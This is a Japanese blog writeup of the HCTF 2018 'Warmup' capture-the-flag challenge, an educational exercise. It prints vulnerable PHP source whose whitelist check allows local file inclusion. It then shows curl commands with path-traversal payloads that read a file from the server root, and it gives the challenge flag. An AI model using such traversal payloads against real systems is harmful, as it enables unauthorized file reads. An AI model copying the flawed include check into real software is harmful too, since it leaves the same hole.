こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

HCTF 2018 Writeup - Warmup

問題文

warmup
URL http://warmup.2018.hctf.io

writeup

URLにアクセスする。 f:id:graneed:20181109220327p:plain

hintリンクをクリックするとhttp://warmup.2018.hctf.io/index.php?file=hint.phpへ遷移し、以下の表示。

flag not here, and flag in ffffllllaaaagggg

トップに戻ってからHTMLソースを表示。(わかりやすく改行をいれた。)

<div style="text-align:center;">
<h>Warmup</h><br>
<a href="/index.php?file=hint.php">hint</a><br>
<!--source.php-->
</div>
<div style="text-align:center;"><br>
<img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />
</div>

コメントより、source.phpがあるようなのでhttp://warmup.2018.hctf.io/index.php?file=source.phpへアクセスすると、トップ画面と思われるソースコードが表示された。

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

fileパラメータをincludeしてくれるがwhitelistによるチェックがある。
また、?より前がwhitelistに合致してもOKとしている。
更に、URLデコードしてから?より前がwhitelistに合致してもOKとしている。

つまりは、以下の通り。

  • hint.php → whitelistにあるためOK
  • hoge.php → whitelistに無いためNG
  • hint.php?hoge → ?より前がwhitelistにあるためOK
  • hint.php%3Fhoge → %3FをURLデコードすると??より前がwhitelistにあるためOK

ただ、このwhitelistを単純に突破しても、includeするファイル名と合致しない。

root@kali:~# curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?hint.php"

よってhint.php?部分をディレクトリ名と見立てて、相対パスで指定してみる。
hint.phpのincludeができるかどうかで実験する。

root@kali:~# curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?/../hint.php"

flag not here, and flag in ffffllllaaaagggg

成功。

ffffllllaaaaggggを探す。

root@kali:~# curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?/../ffffllllaaaagggg"

さすがに同ディレクトリには無い。

ルートを辿る。

root@kali:~# curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?/../../../../../ffffllllaaaagggg"

hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

フラグゲット。
hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}